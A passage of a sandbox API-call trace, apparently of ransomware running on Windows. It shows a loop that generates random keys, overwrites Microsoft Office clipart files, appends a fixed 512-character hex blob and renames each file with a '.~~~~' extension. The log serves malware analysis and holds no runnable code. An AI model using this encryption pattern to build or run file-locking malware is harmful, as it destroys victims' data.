	[0115.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.043] GetLastError () returned 0x0
	[0115.044] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.045] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.045] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.045] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23503552561) returned 1
	[0115.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae12e550, dwHighDateTime=0x1d60e1e)) 
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a560
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a560 | out: hHeap=0x300000) returned 1
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ee48
	[0115.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.046] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.046] GetLastError () returned 0x0
	[0115.047] GetLastError () returned 0x0
	[0115.047] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.047] GetLastError () returned 0x0
	[0115.047] GetLastError () returned 0x0
	[0115.058] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffebc4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.058] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x143c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x143c, lpOverlapped=0x0) returned 1
	[0115.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.059] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.059] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.059] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.059] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.059] CloseHandle (hObject=0x13c) returned 1
	[0115.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.060] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.~~~~")) returned 1
	[0115.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.061] GetLastError () returned 0x0
	[0115.126] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.127] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0115.127] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.128] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23511773382) returned 1
	[0115.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae1ecc30, dwHighDateTime=0x1d60e1e)) 
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a640
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0115.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a640 | out: hHeap=0x300000) returned 1
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af4d0
	[0115.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.128] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.128] GetLastError () returned 0x0
	[0115.129] GetLastError () returned 0x0
	[0115.129] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.129] GetLastError () returned 0x0
	[0115.129] GetLastError () returned 0x0
	[0115.152] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff788, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.152] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x878, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x878, lpOverlapped=0x0) returned 1
	[0115.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.153] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.154] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.154] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.154] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.154] CloseHandle (hObject=0x11c) returned 1
	[0115.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.~~~~")) returned 1
	[0115.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.155] GetLastError () returned 0x0
	[0115.230] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.231] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.231] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.232] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23522171100) returned 1
	[0115.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae2f75d0, dwHighDateTime=0x1d60e1e)) 
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b1e0
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1e0 | out: hHeap=0x300000) returned 1
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af600
	[0115.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.232] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.232] GetLastError () returned 0x0
	[0115.233] GetLastError () returned 0x0
	[0115.233] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.233] GetLastError () returned 0x0
	[0115.233] GetLastError () returned 0x0
	[0115.235] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd9fe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.235] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2602, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2602, lpOverlapped=0x0) returned 1
	[0115.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.236] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.236] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.236] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.236] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.236] CloseHandle (hObject=0x11c) returned 1
	[0115.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.~~~~")) returned 1
	[0115.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.237] GetLastError () returned 0x0
	[0115.238] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.239] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.239] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.240] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23522971308) returned 1
	[0115.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae2f75d0, dwHighDateTime=0x1d60e1e)) 
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b218
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b218 | out: hHeap=0x300000) returned 1
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af730
	[0115.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.240] GetLastError () returned 0x0
	[0115.241] GetLastError () returned 0x0
	[0115.241] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.241] GetLastError () returned 0x0
	[0115.241] GetLastError () returned 0x0
	[0115.242] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe546, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.243] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1aba, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1aba, lpOverlapped=0x0) returned 1
	[0115.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.244] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.244] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.244] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.244] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.244] CloseHandle (hObject=0x11c) returned 1
	[0115.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.~~~~")) returned 1
	[0115.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.245] GetLastError () returned 0x0
	[0115.246] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.247] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.247] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.247] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23523704098) returned 1
	[0115.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae31d730, dwHighDateTime=0x1d60e1e)) 
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a8a8
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a8a8 | out: hHeap=0x300000) returned 1
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afa28
	[0115.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.248] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.248] GetLastError () returned 0x0
	[0115.248] GetLastError () returned 0x0
	[0115.248] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.248] GetLastError () returned 0x0
	[0115.248] GetLastError () returned 0x0
	[0115.250] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.250] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x584, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x584, lpOverlapped=0x0) returned 1
	[0115.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.251] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.251] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.251] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.251] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.251] CloseHandle (hObject=0x11c) returned 1
	[0115.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
